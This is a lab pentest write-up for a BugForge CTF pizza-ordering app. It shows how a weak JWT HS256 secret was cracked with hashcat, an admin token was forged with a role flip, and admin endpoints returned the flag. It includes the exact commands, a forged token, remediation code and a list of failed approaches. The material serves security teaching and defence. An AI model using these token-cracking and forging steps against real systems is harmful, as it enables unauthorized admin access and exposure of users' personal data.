BugForge — 2026.04.28

Cheesy Does It: JWT HS256 Weak Secret to Admin Role Flip

BugForge JWT Weak Secret / Role Flip easy

Part 1: Pentest Report

Executive Summary

“Cheesy Does It” is a pizza ordering web app on the BugForge platform. React SPA on top of a Node.js + Express backend with JWT (HS256) authentication and a SQL flavoured datastore (SQLite/MySQL style timestamps). Customers register, browse a menu or build a custom pizza, check out with a card, and track an order. Self-registration is open and unauthenticated.

Testing confirmed one finding:

ID Title Severity CVSS CWE Endpoint
F1 JWT HS256 weak signing secret combined with role claim in token Critical 9.8 CWE-326, CWE-285 /api/admin/*

The Express backend signs JWTs with HS256 using the literal string secret as its signing key. The JWT payload now carries a role claim (this rotation introduced it; prior rotations of the same lab carried {id, username, iat} only). The /api/admin/* route guard authorizes based on the role embedded in the token, so cracking the signing secret and re-signing a token with role:"admin" grants full admin access from any open-registration account. The flag is delivered as an x-flag HTTP response header on every admin endpoint reached with an admin-role token.

Flag captured: bug{NDOCwMTlbEbXwHYoLKTr6LG63I08ggCa}.


Objective

Recover the lab flag by exercising a discoverable application layer vulnerability on the BugForge “Cheesy Does It” lab.


Scope / Initial Access

# Target Application
URL: https://lab-1777336375101-zlxa2u.labs-app.bugforge.io

# Auth
POST /api/register → {username, email, password, full_name, phone, address} → JWT HS256
POST /api/login    → {username, password} → JWT HS256
                     payload: {"id":N, "username":"...", "role":"user", "iat":...}
Authorization: Bearer <jwt>   on protected endpoints

# Test account
haxor (id=4, role=user), created via standard self-registration

Self-registration is open. Registration and login both return {token, user:{...}}. The JWT payload now embeds a role claim. GET /api/verify-token returns the role field with the same value as the token claim, which is the first signal that the admin route authorizes off the token rather than a per-request database lookup.


Reconnaissance: Diffing the JWT against prior rotations

This lab is on a rotation cadence; three prior runs of the same target had different planted bugs and a different JWT shape. Decoding the issued token first thing and comparing to prior runs surfaced the structural change that drove the entire test plan.

Rotation JWT payload Server role check (observed) Active bug
04-06 {id, username, iat} DB lookup per request Client trusted item prices
04-13 {id, username, iat} DB lookup per request Refund amount manipulation
04-21 {id, username, iat} DB lookup per request Discount array stacking
04-28 {id, username, role, iat} JWT claim only Weak HS256 secret to role flip

Three observations from this diff:

  1. A role claim lives in the token. When the role authority is in the JWT, token integrity becomes authorization integrity. Any compromise of the signing secret stops being identity spoofing and becomes a full role flip.
  2. The JWT alg is HS256. Symmetric signing means there is exactly one secret to recover, and the token itself is the cracking material. With registration open, anyone can capture a valid token and crack offline.

The combination of (1) and (2) made the JWT secret crack the cheapest first probe on this rotation.


Application Architecture

Component Detail
Frontend React SPA (MUI components), bundled at /static/js/main.5af3684b.js
Backend Node.js + Express (X-Powered-By: Express)
Auth JWT HS256, Authorization: Bearer ...; payload {id, username, role, iat}
Datastore SQL flavoured (response timestamps 2026-04-28 00:33:43 indicate SQLite/MySQL style)
Authorization model /api/admin/* reads role from the JWT claim; verify-token reflects the same value
Order lifecycle Status auto advances server-side every 120s

API Surface

Endpoint Method Auth Notes
/api/register POST none Open registration; returns user JWT with role:"user"
/api/login POST none Returns user JWT
/api/verify-token GET bearer Returns user object with role matching token claim
/api/menu/* GET bearer Pizzas, bases, sauces, toppings
/api/payment/validate POST bearer {card_number, exp_month, exp_year, cvv, amount}payment_token
/api/payment/process POST bearer {card_number, amount, payment_token}
/api/orders POST bearer Order creation with payment_token
/api/orders/:id GET bearer Single order, owner-scoped
/api/profile PUT bearer Profile fields, role whitelisted out
/api/admin/stats GET bearer + role:admin Returns aggregate metrics
/api/admin/users GET bearer + role:admin Returns full users table
/api/admin/orders GET bearer + role:admin Returns all orders

Known Users

Username ID Role
admin 1 admin
customer 2 user
foodie 3 user
haxor 4 user (test account)

Attack Chain Visualization

┌──────────────────┐   ┌────────────────────┐   ┌─────────────────────┐   ┌─────────────────────┐
│ Register a user  │──▶│ Crack HS256 secret │──▶│ Forge JWT with      │──▶│ GET /api/admin/stats│
│ POST             │   │ offline against    │   │ role:"admin", sign  │   │ with forged token,  │
│ /api/register    │   │ wallarm            │   │ with the cracked    │   │ inspect headers     │
│ → user JWT       │   │ jwt-secrets list   │   │ secret              │   │ (curl -i)           │
│ {role:"user"}    │   │ → secret = "secret"│   │ → admin JWT         │   │ → 200 OK            │
└──────────────────┘   └────────────────────┘   └─────────────────────┘   └─────────────────────┘
                                                                                     │
                                                                                     ▼
                                            ┌──────────────────────────────────────────────────────────┐
                                            │ x-flag: bug{NDOCwMTlbEbXwHYoLKTr6LG63I08ggCa}            │
                                            └──────────────────────────────────────────────────────────┘

Findings

F1: JWT HS256 weak signing secret combined with role claim in token

Severity: Critical CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-326 (Inadequate Encryption Strength), CWE-285 (Improper Authorization) Endpoint: GET /api/admin/{stats,users,orders} (and any other endpoint whose authorization reads off the JWT role claim) Authentication required: Self-registration only; registration is open and unauthenticated, so effective preconditions are none.

Description

Two compounding defects make full admin access reachable from any open registration account:

  1. The JWT signing secret is the literal string secret. The Express backend signs HS256 tokens with a one-word value that is present in every public JWT secrets wordlist. Cracking it offline against the wallarm jwt.secrets.list (≈104k entries) resolves in under a second.
  2. The server reads the user’s role from the JWT claim with no second factor. The /api/admin/* route guard authorizes based on role embedded in the token. There is no cross-check against the database, no signed claim allowlist, and no per-request lookup of the user’s actual role. Token integrity is the only thing standing between any registered user and admin.

With the secret recovered, a token with role:"admin" and any valid id/username is accepted as a fully privileged admin token. The flag is exposed as an x-flag HTTP response header on every /api/admin/* endpoint when the request carries an admin-role token.

Impact

Privilege escalation from any registered user to admin, with full read access to the users table (PII), all orders, and aggregate business metrics.

Reproduction

Step 1: Register and capture a user JWT

POST /api/register HTTP/1.1
Host: lab-1777336375101-zlxa2u.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"x@x.com","password":"password","full_name":"","phone":"","address":""}

Response: 200 OK with body containing a JWT. Decoded payload:

{"id":4,"username":"haxor","role":"user","iat":1777336415}

Save the token as USER_JWT.

Step 2: Crack the HS256 signing secret offline

echo "$USER_JWT" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /home/kali/workspace/wordlists/jwt/jwt.secrets.list

Result: secret cracked at position 6144/103965 in under one second. Value: secret.

Step 3: Forge an admin token with the cracked secret

jwtforge -p '{"id":4,"username":"haxor","role":"admin","iat":1777336415}' -s 'secret' -a HS256

Output:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc3NzMzNjQxNX0.i678SdHDlv3z7JuSGghgl-13jF8YgmeZZRM4HCP2qU0

Save as ADMIN_JWT.

Step 4: Hit any admin endpoint with curl -i to surface response headers

curl -sk -i -H "Authorization: Bearer $ADMIN_JWT" \
  https://lab-1777336375101-zlxa2u.labs-app.bugforge.io/api/admin/stats

Response (excerpt):

HTTP/2 200
access-control-allow-origin: *
content-type: application/json; charset=utf-8
x-flag: bug{NDOCwMTlbEbXwHYoLKTr6LG63I08ggCa}
x-powered-by: Express

{"total_users":5,"total_orders":1,"total_revenue":12.99,"orders_today":1,"revenue_today":12.99}

The flag is in the x-flag response header. The same header appears on GET /api/admin/users and GET /api/admin/orders with the same forged token.

Remediation

Fix 1: Replace the signing secret with a high entropy value held outside source

# BEFORE (Vulnerable: secret literally "secret", likely committed or env-defaulted)
JWT_SECRET=secret

# AFTER (Secure: 256-bit random value, loaded from a secrets manager)
openssl rand -base64 32
# → e.g. R8r2vQ2H8Qa6L1j7yQfQ5b8N5n8Q8w7Yd5q3P6Y2q4o=
# Store in AWS Secrets Manager / GCP Secret Manager / Vault, never .env in source

Fix 2: Do not authorize off a self-asserted token claim

// BEFORE (Vulnerable: trust the role claim from the JWT)
function requireAdmin(req, res, next) {
  if (req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Admin access required' });
  }
  next();
}

// AFTER (Secure: re-read role from the database per request)
async function requireAdmin(req, res, next) {
  const dbUser = await db.users.findById(req.user.id);
  if (!dbUser || dbUser.role !== 'admin') {
    return res.status(403).json({ error: 'Admin access required' });
  }
  req.dbUser = dbUser;
  next();
}

The simpler alternative is to drop the role claim from the JWT entirely (revert to the prior {id, username, iat} shape) and look up role on every authenticated request. This was the model used in earlier rotations of this same lab and closed off the role-flip class of attack at the design level.

Fix 3: Move to asymmetric signing with key separation

Switch from HS256 to RS256 or ES256. Hold the private key on the auth issuer service only, distribute the public key to verifiers. A compromise of any verifier service can no longer mint valid tokens. Combine with a kid header so keys can be rotated without invalidating all tokens at once.

Additional recommendations:

  • Add a JWT secret strength check at boot. Reject startup if JWT_SECRET is shorter than 32 bytes or matches any entry in a placeholder list (secret, password, change-me, framework defaults). This single check would have prevented this finding from shipping.
  • Add a kid header and a key rotation runbook so a leaked secret can be invalidated without a full user logout cascade.
  • Treat any new claim added to a JWT as a security review trigger. The move from {id, username, iat} to {id, username, role, iat} between rotations changed the threat model materially with no other code change.

OWASP Top 10 Coverage

  • A02:2021 Cryptographic Failures: The JWT signing secret is a single dictionary word with no length or entropy floor. Symmetric signing with this material provides no integrity guarantee against an attacker who can capture one valid token.
  • A07:2021 Identification and Authentication Failures: Authorization for admin endpoints depends entirely on the integrity of a self-asserted JWT claim. Compromise of the signing material is sufficient to assume any role.
  • A05:2021 Security Misconfiguration: Production-shaped infrastructure (Express on a public origin) shipped with a placeholder secret. There is no boot-time guard rejecting weak secrets.

Tools Used

Tool Purpose
Caido Request capture, replay, and tamper
hashcat (-m 16500) Offline HS256 secret cracking against the wallarm jwt-secrets list
jwtforge Forging the admin JWT with the cracked secret
curl (-i) Reaching admin endpoints and surfacing the x-flag response header

References


Part 2: Notes / Knowledge

Key Learnings

  • JWT cracking is a cheap baseline probe on any engagement that uses HS256. Symmetric signing means the token itself is the cracking material; capture one valid token, run it through hashcat (-m 16500), and you either get a secret in seconds or you don’t. Lab/CTF and dev-shaped targets land in dictionary lists nearly every time. Cost is one command and a few seconds of CPU; reward is a full token forge if it hits. Run it on first contact with any HS256 surface, even when other vectors look more interesting.
    • Run the targeted list before the big one. Wallarm’s jwt.secrets.list (≈104k entries, ~1.2 MB) carries every common dev placeholder and tutorial sample value, and exhausts in about a second on CPU. Use it first; fall back to rockyou (≈14M entries, minutes-to-hours on CPU) only when the targeted list misses. Same logic extends to other cracker-class wordlists for narrow target classes.

Failed Approaches

Approach Result Why It Failed
alg:"none" JWT with role:"admin" 403 Invalid token Server validates the alg header and rejects unsigned tokens.
Mass-assign role:"admin" on POST /api/register New account issued with role:"user" Field whitelist on register; role is not in the accepted body schema.
Mass-assign role:"admin" on PUT /api/profile Profile updates accepted, role unchanged Same field whitelist on profile.
Direct GET /api/admin/{stats,users,orders} with the user JWT 403 Admin access required Server-side role gate is enforced; client gating is not the only check.
POST /api/orders/:id/refund with refund_amount (prior rotation vector) 404 Cannot POST /api/orders/:id/refund Refund endpoint removed in this rotation.
discount: ["PIZZA-10","PIZZA-10"] on POST /api/orders (prior rotation vector) Same total as the string form, no flag Discount array stacking patched; array now treated equivalently to a single string.
Client trusted unit_price/total_price on order items (prior rotation vector) Order total does not match payment amount Server now recomputes the total and rejects mismatches.
IDOR GET /api/orders/2 and /api/orders/3 with the haxor token 404 on both Either user-scoped query or no other orders seeded; not distinguishable from one account.

Tags: #jwt #hs256-weak-secret #role-flip #hashcat #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-28

#jwt #hs256 #weak-secret #role-flip #hashcat #bugforge